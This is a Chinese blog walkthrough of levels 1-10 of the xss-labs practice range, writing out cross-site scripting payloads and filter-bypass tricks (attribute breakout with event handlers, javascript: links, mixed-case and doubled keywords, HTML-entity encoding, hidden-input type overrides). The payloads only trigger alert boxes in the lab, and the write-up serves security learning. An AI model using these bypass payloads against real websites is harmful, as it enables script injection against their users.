【网络安全 --- xss-labs靶场通关(1-10关)】详细的xss-labs靶场通关思路及技巧讲解,让你对xss漏洞的理解更深刻

靶场安装:

靶场安装请参考以下博客,既详细有提供工具:

【网络安全 --- xss-labs靶场】xss-labs靶场安装详细教程,让你巩固对xss漏洞的理解及绕过技巧和方法(提供资源)-CSDN博客【网络安全 --- xss-labs通关】xss-labs靶场通关,让你巩固对xss漏洞的理解及绕过技巧和方法(提供资源)https://blog.csdn.net/m0_67844671/article/details/133915033?spm=1001.2014.3001.5501

靶场通关:

点击图片图片以后进入到第一关:

1-1 第一关:

发现有个name参数值为test;改变name的值发现在页面上进行输出,name我们就对name参数进行payload注入

第一关没有任何防范

javascript 复制代码
'"><script>alert('aini');</script>

输入payload,按回车

看到了弹框,就过去了

1-2 第二关:

发现有个输入框,输入的内容也会在输入框上面显示出来

我们网页右击,点击菜单来最下面的检查"" 看渲染结构,发现我们输入的内容是一个文本框的value值,这样浏览器是不会执行我们的注入语句的,所以我们要构造标签闭合

第一种思路:

构造一个onclick属性

javascript 复制代码
" onclick="alert(123)

<input name="keyword" value="aini">

**上面payload的做右边的" 可以闭合调value属性,οnclick="alert(123跟value属性本来的右引号形成闭合,**下面就是payload注入后的效果

<input name="keyword" value="" οnclick="alert(123)">

点击搜索

这时候文本框有了个点击事件,所以我们点击文本框

就有弹框了

第二种思路:

构造闭合标签,把input标签闭合掉,然后写个script标签

javascript 复制代码
'"><script>alert(123)</script>

就有弹框了

1-3 第三关:

跟上一关差不多,还是两种思路先尝试一下,第一种闭合属性

发现双引号编码了

使用单引号试一下看看

注意:前端事件有很多onclick,onfocus,onblur等,简单了解一下,记住几个常用的

javascript 复制代码
' onfocus='alert(123)'
' onblur='alert(123)'  
// 或者下面的写法也行
' onBlur=javascript:alert('aini')

成功绕过去了

点击以后确实有了弹框

第二种思路:闭合标签就不演示了,可以试一下有没有对标签进行转义,也是一种思路

1-4 第四关:

发现跟上一关一样的思路,先闭合属性试一下

javascript 复制代码
" onclick="alert(123)

发现还真的可以

看到弹框了,还可以试一试如下payload,也是可以的

javascript 复制代码
'" onblur='alert(123)'  
// 或者
'" onBlur=javascript:alert('aini')

使用闭合标签试一下看看

javascript 复制代码
'"><script>alert(123)</script>

发现对<,/,>进行替换了,所以不能用这个方法了

1-5 第五关:

发现思路跟上面几关差不多,先闭合标签试一试

javascript 复制代码
" onclick="alert(123)

发现对事件on做了过滤,在他们中间加了_

第二种思路,闭合标签,发现还是不行,对script标签也做了过滤

但是我们可以用的标签很多,可以用a标签的href 属性来构造payload

javascript 复制代码
'"><a href='javascript:alert(123);'>点击我</a>

发现成功渲染了a标签,点击以后试一试

成功弹出了弹框

1-6 第六关:

还是一样的思路,闭合标签或者闭合属性,先闭合属性看看

发现在on上做了过滤

接下来闭合标签。用最简单的script标签试一试 ,老样子对script标签做了过滤

用a标签试一试 ,发现href属性做了过滤

接下来我们尝试大小写混合绕过,href大写试一试

javascript 复制代码
'"><a HREF='javascript:alert(123);'>点击我</a>

发现绕过去了

用闭合属性试一下,同时大小写混合,也发现绕过去了,本道题核心思路就是大小写混写绕过

javascript 复制代码
" ONclicl="alert(123)

1-7 第七关:

最基本的属性构造,标签闭合你们自己试一下,看看能不能绕过,我们先试一下大小写混写吧看看能不能绕过 ,发现对on字进项了整体替换

这样的话很好办了,尝试双写绕过,比如oonn,这样的话只会把中间的on替换为诶空,就剩下on了

javascript 复制代码
" oonnclick="alert(123)

发现绕过去了,所以本道题思路是双写绕过,对script标签或者只要是整体替换为空的地方可以试一下

看到有弹框了

1-8 第八关:

我们发现我们输入的内容是input框的value,同时会当做友情链接a标签的href属性,我们尝试闭合a的href属性,构造新属性

发现内容输出在了a标签的href属性中,当我们测试的时候发现,javascript不仅加了_,并且使用了html实体编码,将特殊符号进行了编码,导致不能进行标签闭合,那么既然内容放到了某个标签的属性值里面,我们说过,属性值是可以进行编码绕过的,尝试html实体编码绕过。

尝试编码绕过

javascript 复制代码
编码:
// 采用十进制ascii码
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#106;&#97;&#100;&#101;&#110;&#34;&#41;
// 或者十六进制unicode编码
&#x006a;&#x0061;&#x0076;&#x0061;&#x0073;&#x0063;&#x0072;&#x0069;&#x0070;&#x0074;&#x003a;&#x0061;&#x006c;&#x0065;&#x0072;&#x0074;&#x0028;&#x0022;&#x006a;&#x0061;&#x0064;&#x0065;&#x006e;&#x0022;&#x0029;

发现编码绕过的方式成功绕过去了

1-9 第九关:

思路跟上一关一样,先进行编码绕过

发现,上面的这几种绕过方式都不行了,但是看到一个友情链接,写上一个正确的http网址可以看到输出在了href属性中,也就是说,做了网址格式的校验,看后台代码发现其实就是http协议校验,那么我们可以巧用js代码中的注释符号 // 。

javascript 复制代码
javascript:alert("aini")//http://www.baidu.com #但是前面的
javascript:alert("aini") // 要进行编码,不然会被加上_

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#106;&#97;&#100;&#101;&#110;&#34;&#41;//http://www.baidu.com

可以是可以,但是发现进行转义了,那我们就结合编码跟js语言的注释符//配合使用

javascript 复制代码
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#106;&#97;&#100;&#101;&#110;&#34;&#41;//http://www.baidu.com

就这样成功看到了弹窗

1-10 第十关:

发现上面的测试手段不太行了,但是查看页面源码发现了三个隐藏的input,那么根据他们的name构造传值,谁出来了谁就能利用 http://192.168.31.159/xss-labs/level10.php?keyword=well done!\&t_lick=aa\&t_history=bb\&t_sort=dd
可以看到cc输出到了某个input标签的value属性对应的值的位置,那么我们构造如下代码,让它们的type改变,不再隐藏,并执行js代码。

根据三个input框的name值进行传值发现,t_sort传的值以作为value属性的值渲染到页面上

http://192.168.31.159/xss-labs/level10.php?keyword=well done!\&t_lick=aa\&t_history=bb\&t_sort=dd

所以针对name属性为t_sort的input标签进行注入,可以闭合属性,构造新的属性,同时把type="hidden"属性替换掉,要不然看不到页面效果,payload如下

javascript 复制代码
'" type='text' onclick='alert(123)' 
'" type='text' onblur='javascript:alert("aini")' 
// 注意,我们单纯的用带引号办法闭合前面的value="的双引号。

隐藏的文本框显示出来了,并且点击以后确实有了弹框

今天就闯10关把,下一个博客继续更新11-20关

相关推荐
Hilaku1 分钟前
深入CSS层叠的本质:@layer如何优雅地解决样式覆盖与!important滥用问题
前端·css·html
天天扭码4 分钟前
AI时代,前端如何处理大模型返回的多模态数据?
前端·人工智能·面试
每天开心7 分钟前
一文教你掌握事件机制
前端·javascript·ai编程
LeeAt13 分钟前
真的!真的就一句话就能明白this指向问题
前端·javascript
阳火锅14 分钟前
都2025年了,来看看前端如何给刘亦菲加个水印吧!
前端·vue.js·面试
代码的余温31 分钟前
5种高效解决Maven依赖冲突的方法
java·maven
hahala233331 分钟前
ESLint 提交前校验技术方案
前端
慕y27434 分钟前
Java学习第十六部分——JUnit框架
java·开发语言·学习
paishishaba40 分钟前
Maven
java·maven
夕水1 小时前
ew-vue-component:Vue 3 动态组件渲染解决方案的使用介绍
前端·vue.js